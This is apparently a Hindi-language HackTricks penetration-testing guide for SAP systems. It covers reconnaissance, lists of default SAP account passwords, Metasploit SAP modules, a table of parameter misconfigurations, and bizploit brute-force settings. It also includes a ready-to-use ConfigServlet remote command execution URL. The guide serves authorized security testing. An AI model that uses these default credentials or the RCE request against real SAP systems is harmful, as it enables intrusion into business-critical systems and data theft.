{{#include ../banners/hacktricks-training.md}} # SAP के बारे में परिचय SAP का मतलब है सिस्टम एप्लिकेशन और डेटा प्रोसेसिंग में उत्पाद। SAP, परिभाषा के अनुसार, ERP \(एंटरप्राइज रिसोर्स प्लानिंग\) सॉफ़्टवेयर का नाम है और कंपनी का नाम भी है। SAP प्रणाली कई पूरी तरह से एकीकृत मॉड्यूल्स से बनी होती है, जो व्यावसायिक प्रबंधन के लगभग हर पहलू को कवर करती है। प्रत्येक SAP उदाहरण \(या SID\) तीन परतों में विभाजित होता है: डेटाबेस, एप्लिकेशन और प्रेजेंटेशन\), प्रत्येक लैंडस्केप आमतौर पर चार उदाहरणों में होता है: dev, test, QA और production। प्रत्येक परत को कुछ हद तक शोषित किया जा सकता है, लेकिन सबसे अधिक प्रभाव **डेटाबेस पर हमले** द्वारा प्राप्त किया जा सकता है। प्रत्येक SAP उदाहरण क्लाइंट में विभाजित होता है। प्रत्येक में एक उपयोगकर्ता SAP\* होता है, जो एप्लिकेशन का "रूट" के बराबर है। प्रारंभिक निर्माण पर, इस उपयोगकर्ता SAP\* को एक डिफ़ॉल्ट पासवर्ड मिलता है: “060719992” \(नीचे अधिक डिफ़ॉल्ट पासवर्ड\)। यदि आप जानते कि ये **पासवर्ड परीक्षण या विकास वातावरण में कितनी बार नहीं बदले जाते** हैं, तो आप हैरान होंगे! किसी भी सर्वर के शेल तक पहुँचने के लिए उपयोगकर्ता नाम <SID>adm का उपयोग करने का प्रयास करें। ब्रूटफोर्सिंग मदद कर सकती है, लेकिन वहाँ खाता लॉकआउट तंत्र हो सकता है। # खोज > अगला अनुभाग मुख्य रूप से [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) से उपयोगकर्ता shipcod3 से है! - परीक्षण के लिए एप्लिकेशन स्कोप या प्रोग्राम ब्रीफ की जांच करें। SAP GUI से कनेक्ट करने के लिए होस्टनाम या सिस्टम उदाहरणों का ध्यान रखें। - OSINT \(ओपन सोर्स इंटेलिजेंस\), Shodan और Google Dorks का उपयोग करें ताकि फ़ाइलों, उपडोमेन और रसदार जानकारी की जांच की जा सके यदि एप्लिकेशन इंटरनेट-फेसिंग या सार्वजनिक है: ```text inurl:50000/irj/portal inurl:IciEventService/IciEventConf inurl:/wsnavigator/jsps/test.jsp inurl:/irj/go/km/docs/ https://www.shodan.io/search?query=sap+portal https://www.shodan.io/search?query=SAP+Netweaver https://www.shodan.io/search?query=SAP+J2EE+Engine ``` - यहाँ [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) कैसा दिखता है ![SAP लॉगिन स्क्रीन](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg) - खुले पोर्ट और ज्ञात सेवाओं (sap राउटर्स, webdnypro, वेब सेवाएँ, वेब सर्वर, आदि) के लिए nmap का उपयोग करें। - यदि कोई वेब सर्वर चल रहा है तो URLs को क्रॉल करें। - यदि यह कुछ पोर्ट पर वेब सर्वर है तो निर्देशिकाओं को फज़ करें (आप Burp Intruder का उपयोग कर सकते हैं)। यहाँ कुछ अच्छे वर्डलिस्ट हैं जो SecLists प्रोजेक्ट द्वारा प्रदान किए गए हैं, जो डिफ़ॉल्ट SAP ICM पथ और अन्य दिलचस्प निर्देशिकाओं या फ़ाइलों को खोजने के लिए हैं: [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt) - SAP INSTANCE/SERVICE/COMPONENT की गणना के लिए SAP SERVICE DISCOVERY सहायक Metasploit मॉड्यूल का उपयोग करें: ```text msf > use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > show options Module options (auxiliary/scanner/sap/sap_service_discovery): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99) RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101 rhosts => 192.168.96.101 msf auxiliary(sap_service_discovery) > run [*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101' ``` ## मोटे क्लाइंट / SAP GUI का परीक्षण SAP GUI से कनेक्ट करने के लिए कमांड यहाँ है `sapgui ` - डिफ़ॉल्ट क्रेडेंशियल्स के लिए जाँच करें \(Bugcrowd की Vulnerability Rating Taxonomy में, इसे P1 -> सर्वर सुरक्षा गलत कॉन्फ़िगरेशन \| डिफ़ॉल्ट क्रेडेंशियल्स का उपयोग \| उत्पादन सर्वर\) के रूप में माना जाता है: ```text # SAP* - High privileges - Hardcoded kernel user SAP*:06071992:* SAP*:PASS:* # IDEADM - High Privileges - Only in IDES systems IDEADM:admin:* # DDIC - High privileges - User has SAP_ALL DDIC:19920706:000,001 # EARLYWATCH - High privileges EARLYWATCH:SUPPORT:066 # TMSADM - Medium privileges TMSADM:PASSWORD:000 TMSADM:$1Pawd2&:000 # SAPCPIC - Medium privileges SAPCPIC:ADMIN:000,001 # SOLMAN dialog default users and passwords. # For more info check: # https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf # https://launchpad.support.sap.com/#/notes/2293011 # SOLMAN_ADMIN - High privileges - Only on SOLMAN systems SOLMAN_ADMIN:init1234:* # SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems SAPSUPPORT:init1234:* # SOLMAN - High privileges - Only on SOLMAN systems #SOLMAN:init1234:* # Trial systems # ------------- # AS ABAP 7.40 SP08 Developer Edition: # https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/ DDIC:DidNPLpw2014:001 SAP*:DidNPLpw2014:001 DEVELOPER:abCd1234:001 BWDEVELOPER:abCd1234:001 # AS ABAP 7.50 SP02 Developer Edition: # https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/ # AS ABAP 7.51 SP02 Developer Edition: # https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/ DDIC:Appl1ance:000,001 SAP*:Appl1ance:000,001 DEVELOPER:Appl1ance:001 BWDEVELOPER:Appl1ance:001 # AS ABAP 7.51 SP01 Developer Edition: # https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/ # AS ABAP 7.52 SP04 Developer Edition: # https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/ DDIC:Down1oad:000,001 SAP*:Down1oad:000,001 DEVELOPER:Down1oad:001 BWDEVELOPER:Down1oad:001 ``` - Wireshark चलाएँ फिर क्लाइंट \(SAP GUI\) में उन क्रेडेंशियल्स का उपयोग करके प्रमाणित करें जो आपने प्राप्त किए हैं क्योंकि कुछ क्लाइंट SSL के बिना क्रेडेंशियल्स भेजते हैं। Wireshark के लिए दो ज्ञात प्लगइन्स हैं जो SAP DIAG प्रोटोकॉल द्वारा उपयोग किए जाने वाले मुख्य हेडर को भी विघटित कर सकते हैं: SecureAuth Labs SAP विघटन प्लग-इन और Positive Research Center द्वारा SAP DIAG प्लगइन। - निम्न-privilege उपयोगकर्ताओं के लिए कुछ SAP ट्रांजैक्शन कोड \(tcodes\) का उपयोग करके विशेषाधिकार वृद्धि की जांच करें: - SU01 - उपयोगकर्ताओं को बनाने और बनाए रखने के लिए - SU01D - उपयोगकर्ताओं को प्रदर्शित करने के लिए - SU10 - सामूहिक रखरखाव के लिए - SU02 - प्रोफाइल के मैनुअल निर्माण के लिए - SM19 - सुरक्षा ऑडिट - कॉन्फ़िगरेशन - SE84 - SAP R/3 प्राधिकरण के लिए सूचना प्रणाली - जांचें कि क्या आप क्लाइंट में सिस्टम कमांड निष्पादित कर सकते हैं / स्क्रिप्ट चला सकते हैं। - जांचें कि क्या आप BAPI Explorer पर XSS कर सकते हैं # वेब इंटरफेस का परीक्षण - URLs को क्रॉल करें \(डिस्कवरी चरण देखें\)। - URLs को डिस्कवरी चरण की तरह फज़ करें। यहाँ [http://SAP:50000/index.html](http://sap:50000/index.html) कैसा दिखता है: ![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg) - सामान्य वेब कमजोरियों की जांच करें \(OWASP Top 10 देखें\) क्योंकि कुछ स्थानों पर XSS, RCE, XXE, आदि कमजोरियाँ हैं। - वेब कमजोरियों का परीक्षण करने के लिए Jason Haddix का [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) देखें। - क्या वर्ब टेम्परिंग के माध्यम से ऑथ बायपास संभव है? शायद :\) - `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` खोलें फिर “Choose” बटन पर क्लिक करें और फिर खुले हुए विंडो में “Search” दबाएँ। आपको SAP उपयोगकर्ताओं की एक सूची देखनी चाहिए \(कमजोरी संदर्भ: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) \) - क्या क्रेडेंशियल्स HTTP के माध्यम से प्रस्तुत किए गए हैं? यदि हाँ, तो इसे Bugcrowd के [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) के आधार पर P3 माना जाता है: टूटी हुई प्रमाणीकरण और सत्र प्रबंधन \| HTTP पर कमजोर लॉगिन फ़ंक्शन। संकेत: [http://SAP:50000/startPage](http://sap:50000/startPage) या लॉगिन पोर्टल्स की भी जांच करें :\) ![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg) - संभावित निर्देशिका सूचीकरण या प्रमाणीकरण बायपास के लिए `/irj/go/km/navigation/` आज़माएँ - [http://SAP/sap/public/info](http://sap/sap/public/info) कुछ महत्वपूर्ण जानकारी रखता है: ```xml 011 4102 BIG IE3 randomnum randomnum BRQ BRQ randomnum ORACLE 740 324 AIX -25200 192.168.1.8 749 randomnum 192.168.1.8 ``` # Configuration Parameters यदि आपके पास pentest के दौरान सही लॉगिन विवरण हैं या आपने बुनियादी क्रेडेंशियल्स का उपयोग करके SAP GUI में लॉगिन करने में सफलता प्राप्त की है, तो आप पैरामीटर मानों की जांच कर सकते हैं। कई बुनियादी और कस्टम कॉन्फ़िगरेशन पैरामीटर मानों को कमजोरियों के रूप में माना जाता है। आप मैन्युअल और स्वचालित दोनों तरीकों से पैरामीटर मानों की जांच कर सकते हैं, स्क्रिप्ट का उपयोग करके (जैसे [SAP Parameter Validator](https://github.com/damianStrojek/SAPPV))। ## Manual Parameter Checking लेनदेन कोड `RSPFPAR` पर नेविगेट करके, आप विभिन्न पैरामीटर को क्वेरी कर सकते हैं और उनके मानों को देख सकते हैं। नीचे दी गई तालिका में परिभाषित पैरामीटर और उनके लिए भिन्नता की शर्तें शामिल हैं। उदाहरण के लिए, यदि gw/reg_no_conn_info को 255 से कम (`<255`) पर सेट किया गया है, तो इसे खतरे के रूप में माना जाना चाहिए। इसी तरह, यदि icm/security_log दो (`2`) के बराबर है, तो यह भी एक संभावित खतरा होगा। | Parameter | Constraint | Description | | --------------------------------------------- | ---------- | ----------------------------------------------------------------------------- | | `auth/object_disabling_active` | `Y` | यह इंगित करता है कि क्या ऑब्जेक्ट डिसेबलिंग सक्रिय है। | | `auth/rfc_authority_check` | `<2` | RFCs के लिए प्राधिकरण जांच स्तर सेट करता है। | | `auth/no_check_in_some_cases` | `Y` | यह निर्दिष्ट करता है कि क्या कुछ मामलों में जांचों को बायपास किया जाता है। | | `bdc/bdel_auth_check` | `FALSE` | यह निर्धारित करता है कि क्या BDC में प्राधिकरण जांच लागू की जाती है। | | `gw/reg_no_conn_info` | `<255` | पंजीकरण संख्या कनेक्शन जानकारी के लिए वर्णों की संख्या को सीमित करता है। | | `icm/security_log` | `2` | ICM (Internet Communication Manager) के लिए सुरक्षा लॉग स्तर को परिभाषित करता है। | | `icm/server_port_0` | `Display` | ICM (पोर्ट 0) के लिए सर्वर पोर्ट निर्दिष्ट करता है। | | `icm/server_port_1` | `Display` | ICM (पोर्ट 1) के लिए सर्वर पोर्ट निर्दिष्ट करता है। | | `icm/server_port_2` | `Display` | ICM (पोर्ट 2) के लिए सर्वर पोर्ट निर्दिष्ट करता है। | | `login/password_compliance_to_current_policy` | `0` | वर्तमान नीति के साथ पासवर्ड अनुपालन को लागू करता है। | | `login/no_automatic_user_sapstar` | `0` | स्वचालित उपयोगकर्ता SAPSTAR असाइनमेंट को निष्क्रिय करता है। | | `login/min_password_specials` | `0` | पासवर्ड में आवश्यक विशेष वर्णों की न्यूनतम संख्या। | | `login/min_password_lng` | `<8` | पासवर्ड के लिए आवश्यक न्यूनतम लंबाई। | | `login/min_password_lowercase` | `0` | पासवर्ड में आवश्यक छोटे अक्षरों की न्यूनतम संख्या। | | `login/min_password_uppercase` | `0` | पासवर्ड में आवश्यक बड़े अक्षरों की न्यूनतम संख्या। | | `login/min_password_digits` | `0` | पासवर्ड में आवश्यक अंकों की न्यूनतम संख्या। | | `login/min_password_letters` | `1` | पासवर्ड में आवश्यक अक्षरों की न्यूनतम संख्या। | | `login/fails_to_user_lock` | `<5` | उपयोगकर्ता खाते को लॉक करने से पहले असफल लॉगिन प्रयासों की संख्या। | | `login/password_expiration_time` | `>90` | पासवर्ड समाप्ति समय दिनों में। | | `login/password_max_idle_initial` | `<14` | पासवर्ड फिर से दर्ज करने की आवश्यकता से पहले अधिकतम निष्क्रिय समय (प्रारंभिक) मिनटों में। | | `login/password_max_idle_productive` | `<180` | पासवर्ड फिर से दर्ज करने की आवश्यकता से पहले अधिकतम निष्क्रिय समय (उत्पादक) मिनटों में। | | `login/password_downwards_compatibility` | `0` | यह निर्दिष्ट करता है कि क्या पासवर्ड के लिए डाउनवर्ड संगतता सक्षम है। | | `rfc/reject_expired_passwd` | `0` | यह निर्धारित करता है कि क्या RFC (Remote Function Calls) के लिए समाप्त पासवर्ड अस्वीकृत हैं। | | `rsau/enable` | `0` | RS AU (Authorization) जांचों को सक्षम या अक्षम करता है। | | `rdisp/gui_auto_logout` | `<5` | GUI सत्रों के स्वचालित लॉगआउट से पहले का समय मिनटों में निर्दिष्ट करता है। | | `service/protectedwebmethods` | `SDEFAULT` | संरक्षित वेब विधियों के लिए डिफ़ॉल्ट सेटिंग्स निर्दिष्ट करता है। | | `snc/enable` | `0` | सुरक्षित नेटवर्क संचार (SNC) को सक्षम या अक्षम करता है। | | `ucon/rfc/active` | `0` | UCON (Unified Connectivity) RFCs को सक्रिय या निष्क्रिय करता है। | ## Script for Parameter Checking पैरामीटर की संख्या के कारण, सभी को .XML फ़ाइल में निर्यात करना भी संभव है और स्क्रिप्ट [SAPPV (SAP Parameter Validator)](https://github.com/damianStrojek/SAPPV) का उपयोग करना, जो उपरोक्त सभी पैरामीटर की जांच करेगा और उन्हें उचित भिन्नता के साथ मान प्रिंट करेगा। ``` ./SAPPV.sh EXPORT.XML Parameter: auth/no_check_in_some_cases User-Defined Value: No data System Default Value: Y Comment: Activation of the Profile Generator Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases" Parameter: auth/object_disabling_active User-Defined Value: N System Default Value: N Comment: Value 'N' prohibits disabling of authorization objects Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active" Parameter: auth/rfc_authority_check User-Defined Value: 6 System Default Value: 6 Comment: Execution option for the RFC authority check Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check" Parameter: bdc/bdel_auth_check User-Defined Value: No data System Default Value: FALSE Comment: batch-input: check authorisation for activity DELE when delete TA Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check" [...] ``` # हमला! - जांचें कि क्या यह पुराने सर्वरों या तकनीकों जैसे Windows 2000 पर चलता है। - संभावित शोषणों / हमलों की योजना बनाएं, SAP खोज के लिए बहुत सारे Metasploit मॉड्यूल हैं \(auxiliary modules\) और शोषण: ```text msf > search sap Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow ``` - कुछ ज्ञात एक्सप्लॉइट्स का उपयोग करने की कोशिश करें \(Exploit-DB देखें\) या हमलों जैसे पुराने लेकिन अच्छे “SAP ConfigServlet Remote Code Execution” का SAP पोर्टल में: ```text http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a ``` ![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg) - Discovery चरण में bizploit स्क्रिप्ट पर `start` कमांड चलाने से पहले, आप कमजोरियों का आकलन करने के लिए निम्नलिखित भी जोड़ सकते हैं: ```text bizploit> plugins bizploit/plugins> vulnassess all bizploit/plugins> vulnassess config bruteLogin bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True bizploit/plugins/vulnassess/config:bruteLogin> back bizploit/plugins> vulnassess config registerExtServer bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw bizploit/plugins/vulnassess/config:registerExtServer> back bizploit/plugins> vulnassess config checkRFCPrivs bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True bizploit/plugins/vulnassess/config:checkRFCPrivs> back bizploit/plugins> vulnassess config icmAdmin bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin bizploit/plugins/vulnassess/config:icmAdmin> back bizploit/plugins> start bizploit/plugins> back bizploit> start ``` # अन्य उपयोगी उपकरण परीक्षण के लिए - [PowerSAP](https://github.com/airbus-seclab/powersap) - SAP सुरक्षा का आकलन करने के लिए Powershell उपकरण - [Burp Suite](https://portswigger.net/burp) - निर्देशिका फज़िंग और वेब सुरक्षा आकलनों के लिए एक आवश्यक उपकरण - [pysap](https://github.com/SecureAuthCorp/pysap) - SAP नेटवर्क प्रोटोकॉल पैकेट बनाने के लिए Python पुस्तकालय - [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - SAP/ERP का पता लगाने के लिए nmap की मदद करें ## संदर्भ - [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf) - [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploit को अर्ध-स्वचालित करने के लिए एक स्क्रिप्ट - [SAP NetWeaver ABAP सुरक्षा कॉन्फ़िगरेशन भाग 3: एप्लिकेशन तक पहुँच के लिए डिफ़ॉल्ट पासवर्ड](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/) - [SAP सुरक्षा से संबंधित ABAP-लेनदेन कोडों की सूची](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security) - [SAP पोर्टल को तोड़ना](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf) - [SAP की 10 सबसे दिलचस्प कमजोरियाँ और हमले](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf) - [बिजप्लॉइट के साथ SAP पारिस्थितिकी तंत्र की सुरक्षा का आकलन: खोज](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery) - [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859) - [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/) - [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) {{#include ../banners/hacktricks-training.md}}